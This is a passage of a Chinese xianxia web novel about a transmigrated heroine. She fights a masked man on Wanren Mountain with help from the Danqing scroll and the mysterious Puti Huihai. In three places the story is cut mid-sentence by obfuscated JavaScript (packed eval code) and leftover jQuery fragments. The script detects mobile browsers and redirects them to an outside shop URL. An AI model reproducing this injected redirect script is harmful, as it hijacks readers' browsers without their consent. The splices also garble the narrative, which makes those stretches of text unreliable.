“难道要比谁下手更狠?”齐云鲤偏着脑袋想,好像狠不过面具人。 “很久以前三渺宗就会出现在龙息比较多的地方,也就是三渺宗的变化跟龙息有关。”卫池将话题引到龙息上。 鼎山龙息鼎盛,三渺宗却难以进入。 万仞山龙息充沛,却无法使用。 因此之前三渺宗不会出现在这两个地方。 但三渺宗如今出现在万仞山,或许就是什么象征。 齐云鲤想起李宜敏说的那场大火,感觉不太好,总不至于是专门过来放火。 而且那么大的火也远超三渺宗实力范围。 感觉面具人更有实力来万仞山放火。 那么三渺宗先过来打探消息,还比较合理。 “他们仿佛是在给面具人干活,”齐云鲤不由翻个白眼。 卫池认真分析:“看来要在万仞山放火不容易。” 话虽如此,但三渺宗貌似已经来过很多次,感觉相关信息也差不多摸清。 这么看起来,放火已经提上日程。 那边准备充分,这边不能没有准备。 于是齐云鲤问:“如果万仞山起火,山下村民能救火吗?” “他们不被烧死就不错。”卫池说得很坦然。 虽然不好听,但事实就是这么回事。 万仞山大火估计掺杂龙息,能逃离火海就已经万事大吉。 让钟灵村村民上山救火,简直异想天开。 鼎山弟子依旧在爬万仞山,山势陡峭,山路崎岖。 尽管孙仲礼已经习惯,不过仍然时有磕碰。一群人里只有他磕磕碰碰,走在后面的齐云鲤完全不受影响,甚至还能提醒一两句,仿佛早已习惯。 孙仲礼好不容易找到机会说话:“怎么你没事?” “见怪不怪了。”齐云鲤说得很平静,还伸手扶了一把。 孙仲礼十分不可思议:“要怎么见怪不怪?” 就算鼎山龙息鼎盛,但大多都在禁地,其他地方只是略有压迫,不会这样铺天盖地。 即使鼎山弟子要习惯龙息压迫,但每人单次能承受的量有限。只有承受能力出众的鼎山弟子才能进入鼎山禁地。 “禁地、白鹭坪、玄镜池一条线来回跑个几遍,就已经差不多。”齐云鲤说得无关紧要。 禁地、白鹭坪、玄镜池三个地方在一条线上,禁地和白鹭坪都有明显龙息,玄镜池虽然没有龙息但感觉也有问题。 很少有鼎山弟子会出现在那三个地方。 “跑这三个地方干什么?”孙仲礼满脸疑惑。 齐云鲤说出设想:“去禁地挖土,到玄镜池装水,再去白鹭坪种东西。” 孙仲礼仿佛听到什么噩耗,急忙转头爬山。 如果真的干那种事,恐怕都能得道成仙。 齐云鲤见他避之不及,不免觉得自己真是不容易。 住在玄镜池,时常去白鹭坪,有时还去禁地,这就不是一般人能干的。 她说小说里玄镜池怎么只在环境介绍中出现,正常人谁会过去。 爬过一个山头,孙仲礼实在累得不行,于是众人停下来休息。 鼎山弟子在休息,齐云鲤就站在旁边思考化龙的事。 虽然之前打三渺宗的时候有一点化龙之势但不多,跟曾经在鼎山击败蛟的时候有天壤之别。 ——前后都有势,为何落差如此悬殊? 想了半天也没想通,齐云鲤只好去问卫池。 卫池一见她就皱起眉头,只是碍于鼎山弟子的情面不好大声喧哗。 齐云鲤当然明白,不过她也不是闲来无事。 于是直奔重点:“鼎山弟子布阵打三渺宗,跟之前在鼎山击败蛟有区别吗?” 之前卫池从未留意此事,但这句话出来,他就发现不对劲。 那晚在鼎山,他借助剑阵之威击败那条蛟,有种势不可挡的感觉。 但之前打退三渺宗,并没出现什么明显感受。 就是很普通,仿佛随处可见。 可几个鼎山弟子在龙息充沛的万仞山布阵打退三渺宗,绝不普通。 “这里有问题。”卫池眉头紧皱。 虽然他没有明说,但之前青滔跟那条蛟的搏斗将齐云鲤都看呆,之后鼎山弟子布阵也让人有种势在必得之感,但这时却没感觉。 “有点势头,但不多?”齐云鲤只能猜测。 卫池转头看向一旁的鼎山弟子,他们都有点累,虽然不像孙仲礼那样气喘吁吁,但神情都有些憔悴。 他说出关键:“你之前说元气只能帮忙恢复,不过他们都还没恢复。” 齐云鲤总算发现问题,在丹青宝卷时她受伤都能借助元气恢复,但此时鼎山弟子还得停下来休息才能缓解龙息压迫。 前后根本就不是一回事。 但之前鼎山弟子是用元气布阵。 “丹青宝卷的元气效果更好?”她十分迷惑。 卫池沉思片刻才说:“这里的元气和龙息混杂,丹青宝卷里是纯粹的元气,没有龙息。” 鼎山弟子铺设剑阵也是借助丹青宝卷里的元气,有种威不可挡之势。 齐云鲤问:“万仞山的元气跟龙息混杂,所以有用但不多?” “打完三渺宗估计就很难再发挥作用。”卫池有点无奈。 齐云鲤相当困惑:“三渺宗只是开头,之后怎么办?” “又不是没有元气就不会打架。” “可那边已经做好充分准备,我们难道不准备?”齐云鲤越想越危险。 卫池莫名其妙:“准备什么?” 齐云鲤信心十足地掏出丹青宝卷,然后交给他。 卫池十分疑惑:“你还带着这个?” “只是为了有备无患。”齐云鲤说得很平常。 她没有说自己为带出这个东西,准备好长篇大论在罗白音面前滔滔不绝。说到最后都快没力气,罗白音才同意她携带丹青宝卷下山。 卫池问:“准备这个干什么?” “里面有元气,万仞山这地方不太平,还是多做点准备。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053718|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时的丹青宝卷没有鼎山弟子在内,只是做为工具被齐云鲤携带。毕竟是她徒弟找出来的,所以带下山看看能不能发挥作用也顺理成章。 齐云鲤叹了口气:“你进去说吧,我怕又跟她吵起来。” “那你让他再注意点。”卫池没有反对,只是指着孙仲礼。 齐云鲤赶紧点头,生怕他反悔。 于是卫池进入丹青宝卷,齐云鲤则跟孙仲礼说起爬山注意事项。 一离开鼎山,丹青宝卷内的昼夜便异于外界。 万仞山虽然晴空万里,但此时卷轴里却早已入夜。 卫池走在黑暗中,看到零星火光,就走过去说:“我有要事找九游仙姬。” 舞女听闻便在前面带路,带卫池走进天府之国。 此时已入夜,街上的居民稀少很多,那些稀奇古怪之物也消失不见,只有零星几个人在街上走着。 舞女一路走进九游仙姬府邸,来到最里面的院子,用飘带推开房门。 “大晚上的干什么?”九游仙姬没好气地说着,她走出来看见卫池一愣,想了一下才开口,“什么事?” 此时正是夜间,卫池站在院子里仿佛是孤魂野鬼,说的话也很诡异。 “——我来借贵宝地元气一用。” 元气是丹青宝卷的珍宝。 虽然鼎山弟子使用丹青宝卷内的元气很正常,不过要将元气带出卷轴还前所未有。纯粹的元气极其珍贵,世间其他地方都不存在。 卫池上门讨要,九游仙姬自然不给:“要元气没有,要命一条。” 见她态度如此,卫池总算知道为什么要让自己进来。 于是他威胁起来:“眼下位于万仞山,之前又有三渺宗出现,你不会不知道还有什么吧?” 万仞山曾是无根海,因此充满龙息,虽然同时还有元气,但在龙息压迫下元气也大为受限。此时此刻,不受龙息压迫的元气只存在于丹青宝卷。 一旦万仞山出问题,卷轴里的元气也难以幸免。 如此一来,丹青宝卷也就没必要存在。 “你怎么还把丹青宝卷带到万仞山?!”九游仙姬怒气冲冲,仿佛能把院子掀翻。 万仞山充满龙息人尽皆知,但龙息不像鼎山那些被安抚过,稍有不慎就可能暴动。如今丹青宝卷在万仞山,那就是彻底落入火坑。 制作丹青宝卷的初衷就是要让元气远离龙息,结果现在还来到龙息大本营。 这么看来丹青宝卷命不久矣,九游仙姬认为这就不是正常人干的事。 卫池也觉得干这事的人不正常,不过他就不是正常人。 既然如此,那就没必要大惊小怪。 他慢条斯理说出事实:“不来万仞山,鼎山也别想有太平日子,而且上次那条巨蟒也会再来。” 比起火坑还是巨蟒更吓人,毕竟那能直接毁天灭地。 “还没死?!”九游仙姬领教过巨蟒威胁,只好怒气冲冲拿出地图示意,“元气只能转换地方,不能切断联系。” 她手上仍是之前卫池标注过的那张地图,上面清清楚楚写着怎么布局。 九游仙姬就在那些地方着重一指。 “丹青宝卷朝外透出点元气即可。”卫池的手指顺着标注重新划出一道线。 那道线没有破坏布局,只是将元气跟外界连接起来。 这样外界只是能感应到元气,并非直接将元气带离。 ——这就是最大保证。 不过九游仙姬还是担心:“能以绝后患吗?” 那条蛟肆意妄为、无法无天,谁知道还能干出什么事。 “那是鼎山死敌,暂时无法一决胜负。”卫池摇头。 他摇头的不是这件事,而是更严重的灾害。 九游仙姬没有放弃:“那要等到什么时候?” “你知道龙骨论战吗?”卫池问: 九游仙姬点点头:“知道。” “撑到那个时候。” 32. 插手之人 鼎山龙骨论战并非天下闻名,没有各路修道人士前来参加,更不会有什么眼花缭乱、光彩夺目的开幕大典。 那只是鼎山内部的比武大会,参赛者都是鼎山弟子。获胜者也没什么贵重奖励,只有鼎山掌门亲自给出的龙骨剑。 那把龙骨剑是煅剑城城主亲手打造,虽然没什么特殊功效,但削铁如泥。龙骨剑出自龙骨,龙骨出自万仞山,也算是鼎山弟子亲手将龙骨挖掘出来的。 龙骨挖出来之后要经过比寻常器材更加复杂的加工工序,才能打造。 锻造过程相当费精力,其他材料只需普通敲打,顶多就是环境有所变化。 但龙骨剑在锻造过程中,铸剑之人会看到真龙所见。 有时直冲云霄,有时潜入深渊,更有甚者还会遇见与其他生物厮杀。各种野兽妖魔,甚至另一条龙。 因此锻造龙骨剑的过程,其实是对心性的磨练。 锻造龙骨剑不是单纯铸剑,而是世间罕见的修炼。 于是龙骨剑越来越多,虽然对世人没什么用,但是对铸剑之人就是无可匹敌的秘籍。 谁也想不到还能领略到真龙目光所及。 有这种稀世珍宝,前往煅剑城拜师学艺的人源源不断。 而煅剑城城主亲手打造的龙骨剑,还能让用剑之人看到真龙所见。 拿到那柄剑,你就能看到真龙所见。 用剑之人见到那种情景,必定比铸剑之人有更深领悟。 龙骨论战的由来就在于此。 鼎山龙骨论战其实是对鼎山中人的考验,鼎山弟子相互较量,获胜者则有更高境界的考验。 鼎山弟子能从考验中获得什么,也是鼎山长老期待的。 他们盼了一年又一年,心心念念,就是希望从中出现化龙之人。 丹青宝卷其实跟化龙有关,所以龙骨论战也与之相关。 之前的轮回里,丹青宝卷几乎没有发挥作用。如果这次丹青宝卷能见效,说不定鼎山灭门的结局就能改写。 “不用我参加龙骨论战吧?”九游仙姬有点担心。 卫池点点头:“到时候丹青宝卷配合一下就行。” “怎么配合?” 卫池说:“今天就算是一次配合演习。” 比预想中轻松不少,九游仙姬不禁松口气。 鼎山麻烦多事情也多,现在看起来总算能有所改善。 谈好元气一事,卫池就离开丹青宝卷。 鼎山弟子在原地休整,齐云鲤把众人都说得叹为观止,虽然也没说什么切实可行之物,但确实打开众人思路。 等卫池出现在万仞山时,鼎山弟子已经讨论很久,就连李宜敏都觉得有用。 之前他进丹青宝卷,众人就有所期待。 眼下卫池说出元气一事,鼎山弟子顿时两眼放光,初步尝试都觉得有效。之前进丹青宝卷时用过里面的元气,没想到如今离开那里还能用。 但于是众人再次爬山,接下来的山路不再像之前那样崎岖。这里地势整体高出许多,不再有很大变动,走起来还算平缓。 万仞山原本叫无根海,是一片水泽之地,但后来真龙逐渐消失,只留下遍地尸骸,导致湖水渐渐枯竭,加上土石堆积慢慢形成山脉。 万仞山的仞指龙骨,虽然一般人难以使用,但煅剑城却将龙骨当成冶炼工具。 万仞山由巨龙遗骨构成,挖掘龙骨的地方就是巨龙遗骨堆成的山脉,相传万仞山是由上百条巨龙遗骨堆积而成,山脉走势就是龙骨堆积的方向。 庞大山体就是曾经的巨大龙形,通过山脉也能窥见真龙迹象。 时常有修道人士来这一带参观,不过碍于龙息压迫,往往只是远眺。 没有谁会闲来无事走上万仞山。 会上山的基本只有鼎山弟子和煅剑城弟子。 前方拐弯处大树下等着的三人就是煅剑城弟子。 小说里煅剑城只是打铁工具,这时真实出现在眼前,让齐云鲤有点不太适应。她刚想说点什么,就有一个女弟子走过来。 “今日万仞山龙息有些波动,虽然起伏轻微,但也要小心提防,”那个女弟子看一眼齐云鲤,便说,“弟子严岐。” 她的态度很恭敬,不似鼎山弟子那样随意。 “在下青湖。”齐云鲤便客气地说。 “是青湖前辈啊,久仰大名,”严岐身形高挑、容貌端正,一看就知不可小觑,不过说的话有点令人疑惑,“龙骨挖掘结束还请来煅剑城一趟。” 齐云鲤有点懵逼,难道青湖还是名人? 鼎山上下基本没人知道,结果她在煅剑城这么有名。煅剑城在修道人士那边可谓闻名遐迩,青湖在煅剑城出名都令人不敢置信。 赫赫有名的煅剑城竟然看中一个默默无闻的鼎山中人。 ——但严岐的话不像是在说笑。 她还没说话,李宜敏就说:“去吧,反正有吃有喝,还能烤火休息。” 煅剑城基本就是好吃好喝招待鼎山弟子,要什么有什么,只有你想不到,没有那边拿不出。 所以鼎山弟子去煅剑城那就是享福。 齐云鲤没想到李宜敏这么积极。 不过在她疑惑时,已经有人做出回应。 “你一个小辈插什么嘴?”严岐皱起眉头。 李宜敏不慌不忙地说:“此地不止是龙息波动那么简单。” “什么意思?”严岐闻声环顾四周。 李宜敏声音很低,但字字清晰:“估计有人要在万仞山干点什么。” 万仞山对煅剑城来说事关重大,于是严岐和李宜敏就谈起相关事宜。 另外两个煅剑城弟子也走过来跟鼎山弟子聊起来,看起来非常熟络。 他们还掏出一大袋吃的分给鼎山弟子,一群人有吃有喝、有说有笑,仿佛是来野餐,就连孙仲礼也开开心心吃着东西。 这种欢快愉悦的氛围在鼎山从未出现,齐云鲤虽然还是搞不清怎么回事,但心里舒坦不少,也就接受去煅剑城。 何况还有龙骨令的事要重点说明。 鼎山弟子将一份牺牲弟子的名单拿出来,煅剑城弟子就问鼎山牺牲弟子需要什么,双方讨论得非常详细。 他们关系好得让齐云鲤猝不及防,小说里完全没有这回事。 虽然是兄弟门派,也不用这么热情吧? ——何况亲兄弟还明算账。 树荫下一群人聊得兴起,齐云鲤不自在地走到旁边,总感觉有点格格不入。 谁知绕过那棵大树又看见两尊雕像,还是幽冥大帝和云玑子。 齐云鲤愣了一下,听见身后有脚步声便转头问:“怎么又有雕像?” 卫池也没有跟人交谈,而是走到僻静处。 “万仞山龙息过多,上下同时出手,才能彻底平息龙息骚乱,”他左右眺望一番,又说,“不过今日龙息波动确实不同寻常。” 齐云鲤跟着一看,也不知道他看出什么。 万仞山充满龙息,世人都避之不及。 莫非他研究过其中细节,轮回期间还顺便做过调查。 卫池停了停又说:“万仞山龙息异常波动,因此还是众人一起进入山洞,一旦出事也方便应对。” 这是在安排具体事宜,而且只是告知不是商量。 齐云鲤对此没有意见,反正她也不熟。 但异常波动的“异常”二字有点突兀,万仞山龙息波动难道不是常态? 不过众人至今都没有在这一带感受到什么强烈波动。 ——貌似万仞山产生什么变化。 她转头看着幽冥大帝就问:“雕像出现后万仞山之前的龙息骚动就此消失?” “基本如此。”卫池点点头。 这与丹青宝卷里的情况类似。 看来幽冥大帝既能安抚丹青宝卷内的混乱,也能平息万仞山骚乱。 雕像遍布各地,难道是要平息四方动荡? 不过这样忙来忙去是要干什么,莫非只是慈悲心肠? 按理来说应该有什么深层原因,不然穿书者再好心也没必要这样。 想不通这件事,齐云鲤只好说:“我看面具人对青湖的仇恨相当深,我还是不进山洞,留在外面转移他注意力吧。” 既然肯定会来,那就让他停在山洞之外,否则可能会山崩地裂。 那人要是在山洞里化形为巨蟒,估计所有人都没有生机。 让面具人进山洞,其他人基本必死无疑。 齐云鲤可不是带人来送死的。 “面具人必定会调动万仞山龙息,绝非寻常。”卫池猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057345|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测。 齐云鲤伸出手:“所以把丹青宝卷给我。” “你要干什么?”卫池眉头紧皱,他好不容易才让九游仙姬接受元气一事。 丹青宝卷有元气溢出,鼎山弟子才能顺势使用。 齐云鲤伸手比划一下山脉,说:“这里的山脉不只是普通山石,关键在于龙骨,一旦面具人进入山洞,估计就不只是对你们的攻击。” “什么意思?” “龙骨只是对寻常修道人士不再有用,”齐云鲤很确定,“挖出的龙骨他势必会抢到手。” 卫池沉默了,面具人的确会这么做。 那个人对龙息是占为己有的态度,自然不会放过龙骨。 见他沉默不语,齐云鲤就知道他也明白其中关窍。 于是她又说:“可他只要看到我就会一心打我,其他事统统抛之脑后。” 在白鹭坪被打十多天后,齐云鲤总算发现挨打也有用。 卫池回忆起之前的经历,每次面具人不是在打人,就是在打人的路上。虽然最终都要打他,不过那个青湖也绝不会放过。 既然会打她,那么山洞里的人就彻底安全。 他把丹青宝卷拿出来,随后跟鼎山弟子和煅剑城弟子走进山洞。 齐云鲤掏出锦囊,翻出很多小东西,逐一摆放到幽冥大帝雕像前。又在幽冥大帝雕像上挂平安符,再布下防护阵法,双手合十拜了拜,然后躲到一旁草丛里藏起来。 面具人会用万仞山龙息,但幽冥大帝平息万仞山龙息骚乱。 所以面具人势必会来破坏幽冥大帝雕像,以此来让龙息再次骚乱。 过了一阵子,空中先是有些微弱波动,接着面具人凭空出现。 他冲着幽冥大帝雕像一击,不过雕像前有个防护阵法挡住攻击,然后齐云鲤冲出来跟面具人打在一起。 齐云鲤带着丹青宝卷,丹青宝卷四周有元气,在一定程度上压制龙息暴动。万仞山龙息之前就被幽冥大帝震慑,现在又有丹青宝卷的元气平衡,因此面具人始终无法使用万仞山龙息。 虽然他自身还有龙息,但他跟齐云鲤是一边有龙息一边有元气,龙息和元气基本保持平衡。谁都无法动用,最终双方还是仅凭修为功法打斗。 打着打着就开始僵持不下,面具人又要去攻击幽冥大帝雕像。 而且这次攻击力度明显强于防护阵法,齐云鲤只能冲过去挡住。 面具人攻击很强,直接把齐云鲤打出血来,还有些血渐到幽冥大帝雕像上。鲜血溅上蒙眼布带,幽冥大帝一时也带着几分煞气。 此景貌似与龙息暴动相互呼应,原本还平静无波的龙息顿时骚动起来。 龙息一动,面具人的优势就明显起来。 齐云鲤发现异常,转身冲过去想擦除雕像上的血迹。 不过面具人顺势就攻击雕像,齐云鲤不但要打他,还要挡住他对雕像的攻击,一时间被压得毫无还手之力。 面具人得到前所未有的有利局面,正想乘胜追击。 谁知角落里突然冲出一个人,跟他厮打起来。 那人宽袍大袖,衣服是浅青和白色,还有黑色缘边,打起面具人来相当顺手。 他周身没有元气,面具人就使用龙息攻击他,结果用来攻击他的龙息竟然也能为他所用。 因此龙息一下压迫那个人,一下压迫面具人。面具人明显受到龙息压迫阻碍,但龙息压迫对那个人似乎完全无效。 双方优劣过于明显,只见那人抬手像是要打出强悍攻击,面具人在千钧一发之际打断攻击,却没想到身后冲来一个完全超出所料的攻击。 突如其来的攻击凌烈无比,瞬间就将面具人打得烟消云散,那个宽袍大袖的人则慢慢收敛周身气息,随后向齐云鲤走来。 齐云鲤仍然挡在幽冥大帝雕像面前,看得有点目瞪口呆,这人谁啊? “他无法关注全局,只能盯紧其中一点,”那个人似乎是在讲解面具人攻击模式,然后转头说,“在下菩提慧海,我知道你不是青湖。” 他眉眼温润,周身打扮类似佛教罗汉,此时身后还有几缕云烟。 “……啊?”齐云鲤没想到又出来一个能冒烟的人。 ——跟秋容女仙齐名的菩提慧海? 自己不会真是秋容女仙吧…… 33. 同道中人 菩提慧海在小说里很神秘,神龙见首不见尾。 男主并没有跟他正面接触过。 但男主跟止水宗有仇,而菩提慧海据说是止水宗开山祖师,所以读者纷纷猜测他们两个最后会打起来。 而这个人现在说他跟青湖很熟。 两个神秘莫测的人互相认识,当然不是坏事。 ——不过前提是跟齐云鲤没关系。 可她现在就在青湖躯体里,菩提慧海竟然知道。 仿佛偷偷干坏事,结果被人识破。 就像哪天三更半夜悄悄去山上摘个桃,第二天就有人来指认她。 完全没道理,可是千真万确。 黑灯瞎火他居然也能看出偷桃的是她。 这是什么眼神? 龙息压迫对他基本无效,一看就深藏不漏,很有幕后黑手的潜质。 毕竟世人都对龙息压迫避之不及。 而且他居然认识青湖,感觉没什么好事。 一个默默无闻的鼎山中人,煅剑城和菩提慧海都认识她,也不知是何方神圣。 菩提慧海看起来很像好人,世人将他说得极其恐怖,其实没干什么。 小说里他似乎只是闲来无事站在那里看风景,就被传得人神共愤。 虽然名声极差,但跟他有关的坏事一件也没有。 因此齐云鲤鼓起勇气开口问:“你认识青湖?她在干什么?” 这是个十分严肃的问题,菩提慧海的语气听起来跟青湖很熟,对这件事也很了解。被人附身是天大的事,尤其对修道人士来说极其严重。 她感觉都要被就地正法,比在鼎山还严重。 按理来说菩提慧海就要动手,可他似乎毫不在意,而是环顾四周。 他将幽冥大帝雕像跟万仞山仔细看了一遍,才说:“干活。” 看起来他之前仿佛是专门出来打面具人,现在则是勘察情况。 此情此景连匪夷所思都不能形容,感觉都成天方夜谭。 小说里幕后黑手级别的反面人物出手相救,然后还很随意? 鉴于之前的人都不正常,因此齐云鲤没有掉以轻心。 既然他不在意,那她就要问问题。 “刚才那个人跟青湖有什么仇?”她很关注此事。 两人不死不休打了一路,总该有个正当理由。 到底有什么深仇大恨? “他们打过很多次。”菩提慧海说得很寻常,仿佛只是两小孩打架。 可齐云鲤不觉得寻常:“为什么打架?” 双方都默默无闻,按理来说根本不会知晓彼此。 面前这人高深莫测,不理凡人琐事,但她可是与此性命交关。 “为了某种东西。”菩提慧海简单说明,目光停在幽冥大帝雕像上。 雕像上的血迹已经被擦除,现在没有异常。 齐云鲤不知道他在看什么,只能推测:“龙息?” 青湖是鼎山中人,面具人来鼎山挑事,感觉就是因为这个。 “差不多。”菩提慧海又看起雕像上的平安符。 齐云鲤没看出平安符有什么异常,只好问:“真的有龙吗?” “适可而止吧。”菩提慧海皱眉转头。 他言尽于此,不过齐云鲤就此明白的确有龙。 ——那么化龙就不是异想天开。 鼎山所做的一系列准备也没有白费。 看起来龙息、龙骨论战和丹青宝卷都与化龙相关。 鼎山四周环境恶劣,完全不适合修道学艺。鼎山立在那里,就仿佛是刻意震慑妖魔鬼怪的丹炉,其中蕴含着熊熊烈焰,似乎能烧尽一切。 目前看来丹炉里要炼出的是一条真龙。 眼下天地混乱,不过等真龙飞天时又能还世间太平。 青湖就是化龙之人。 现在就是看鼎山弟子能否化龙。 无论人选是谁,真龙都必须飞天。 不过菩提慧海跟青湖很熟,这件事就很诡异。 一个是邪魔歪道祖师,一个是名门正派一员。 二者绝不会有关系,又不是什么生死绝恋,这两人看起来就不是那种关系。 “你怎么会认识青湖?”齐云鲤相当好奇。 菩提慧海又打量起地上的防护阵法:“我也在干活。” “你们在干什么活?” 菩提慧海没有回答,而是拿起幽冥大帝雕像上的平安符。 齐云鲤赶紧制止:“这是我的东西,你不能动。” 菩提慧海放下平安符,伸手去摸幽冥大帝的蒙眼布带。 “那个也是我的!” “怎么又是你的?”菩提慧海有点疑惑。 齐云鲤气势汹汹地说:“这边都是我的!” 她喊完才察觉自己一时冲动,顿时又提心吊胆起来。不过菩提慧海并未计较,放下手就继续朝四周看去。 过了一会儿,他才说:“这边布局有点问题。” 布局这种东西只有同道中人才会彼此谈论,眼下菩提慧海说出这句话,仿佛表明他跟青湖的关系。 “……啊?”齐云鲤一时难以理解。 “雕像虽然可以平息此地龙息暴动,但不能持久,”菩提慧海说得很认真,“眼下就快出问题。” 这句话相当深奥,齐云鲤根本听不懂。 菩提慧海似乎看出她的疑惑,于是转而说:“此地龙息暴动主要是因为龙息和元气互相排斥,没有彼此融合。要想平定龙息暴动,得让龙息和元气平衡。” “你也知道元气?”齐云鲤还是不太懂,只是好奇这件事。 “这有什么不知道的?” 菩提慧海说得满不在乎,似乎天经地义。 齐云鲤想起曾经的话,不禁就问:“青湖还回来吗?” 之前说青湖找她过来办事,虽然当时胡说,但现在感觉很有可能。 “她还没忙完,你不用管。”菩提慧海说出答案。 齐云鲤没想到他这么和气,因此又开始问:“止水宗跟你有关吗?” “止水宗别来碰瓷,这东西到底谁传出来的?别再问了,我要说的才是重点,”菩提慧海话锋一转,“刚才那个人还会再次出现,但他始终只用修为功法,而且无法关注全局,所以关键就在这里。” 齐云鲤有点不敢相信:“你要教我怎么打他?” “不打他这边就会乱起来,我那边也会跟着乱。”菩提慧海似乎很无奈。 齐云鲤伸手示意刚才的打斗:“你也可以打他啊?” “我忙不过来,所以打他的事就交给你。”菩提慧海语气郑重。 之前说青湖让自己代行职责,结果现在又来一个职责。 还是帮幕后黑手级别的角色打穿书者。 ——当然面具人本来就该打。 齐云鲤无话可说,只能问:“那个人有什么不知道的?” “他功法很高,但是只能看到功法,”菩提慧海摇摇头,“周围环境和其他人在他眼里都不存在。” 就像他们之前打斗,面具人只能留意其中一面,而忽略其他方向。 齐云鲤回忆一下,感觉是这么回事——面具人很厉害,但只能看到一个点,可实际还有整个面。 他高高在上,不与任何事物为伍。 但天地之间有万事万物,不只有他。 想到这里,齐云鲤发现菩提慧海也有异常:“龙息压迫怎么对你没影响?” “只是习惯成自然罢了。”他叹了口气。 龙息压迫都能习惯成自然,那得是什么局面? 总不至于天天跟真龙呆在一起。 齐云鲤想了想又问:“让龙息和元气保持平衡,是不是用元气打架就行?” “你还有这种本事?”菩提慧海有些惊讶。 不过齐云鲤拿出丹青宝卷,他就感受到充盈元气。 “这东西都出来了?”他相当疑惑。 听起来他早就知道丹青宝卷,可丹青宝卷之前在鼎山只有为数不多的几人知道。一个跟鼎山毫不相关的人竟然早就知道这件事。 菩提慧海高深莫测,丹青宝卷也来历不明。 齐云鲤感觉他所知甚广,因此就问:“什么人能在鼎山禁地布阵?” “没有这种人。”菩提慧海皱眉道。 他话语很肯定,这是前所未有的。 之前不让他动幽冥大帝的雕像,菩提慧海都态度温和,眼下却明确表露出彻底否定的态度。不禁让人怀疑鼎山禁地跟他的关系,毕竟丹青宝卷他都知道,跟禁地有联系似乎也顺理成章。 没有人能在鼎山禁地布阵,但幽冥大帝和齐云鲤都在那里布阵。 也就是说她们都不是菩提慧海认知里的存在。 ——穿书者是超出这个世界的。 那么在莲花座上签名的穿书者如今又在什么地方? 齐云鲤指着幽冥大帝的雕像问:“那是什么人?” “不用管那个。”菩提慧海直接否定这个话题。 “她救过我。” 菩提慧海走了几步:“不用管那个,先听我说……” “真的有秋容女仙吗?” 菩提慧海又走几步,终于放弃挣扎,长叹一声:“唉,你去打面具人吧,我不想管了……” “那我以后还能问你吗?”齐云鲤说得很客气。 虽然他不说秋容女仙的事,可其他事菩提慧海都会说。 石月观音不说,卫池不说,罗白音不说,如今总算有人会说。 菩提慧海纠结地看向一旁竹林,然后叹了口气:“要找我就把竹子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065347|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砍断,把断竹摆向东南方,如果之后下雨就能找到我。” 齐云鲤疑惑地看向竹林,再次转过头时,菩提慧海已经消失不见。 她完全想不通什么意思,不过还没想明白,面具人就再次出现。 似乎是对无法使用龙息相当不满,这一次面具人直奔幽冥大帝雕像。他抬手就是一击,但有阵法牢牢挡住,防护之力还更强,雕像没有丝毫损伤。 要想破坏雕像还得先破除阵法,于是面具人先耗费功法将阵法破除。 齐云鲤感觉面具人气极,毕竟她只是站在树林里,又没凭空消失。 不过机不可失失不再来,还没等面具人缓一口气,她就打过去。菩提慧海的话犹在耳边,要平定龙息暴动就得让龙息和元气达到平衡。 此地龙息汹涌澎湃,那么元气就得波澜壮阔。 面具人才消耗大量功法破坏阵法,没想到就有人结结实实给了他一剑。 万仞山龙息鼎盛,任何修为功法都会引起龙息波动。但齐云鲤在丹青宝卷掩护下用剑,就让面具人猝不及防。 他毫无防备就被劈了一剑,顿时血流满地,因此紧急施法疗伤。 齐云鲤见刚才那招有效也不急,既然面具人不通剑法,又难以用龙息波动来察觉攻击招式,那就可以好好打。 于是又接二连三向面具人砍去。 面具人好不容易才解决刚才的剑伤,结果又被砍中一剑。虽然躲过要害,可依然伤了皮毛,淋漓鲜血瞬间染红衣裳。 他的血溅上幽冥大帝雕像,但附近龙息毫无动静。 仿佛知道受伤的是面具人,而不是齐云鲤。 面具人想调动龙息,结果没有任何反应,万仞山龙息依然平静如水。 即使雕像可以平定万仞山龙息波动,但静到这个地步就明显还有人为因素。 可举目四望再也找不出第三人。 ——总不至于那雕像还能见机行事吧? 在他错愕之际,齐云鲤又是一剑砍去,直接在面具上劈下一道印迹。 面具人暴怒,抬手就是一个龙息汹涌的攻击阵法。 齐云鲤瞬间反应过来,面具人自己的龙息比丹青宝卷里的元气多得多。 之前能保持平衡,只是因为他没有施展出所有龙息之力。 变化来得太突然,她感觉只有一死了之。 不过在阵法砸下的瞬间,一道金光从她背后的雕像闪出。金光与龙息相撞,似乎有苍龙咆哮,又似乎有一声“退”。 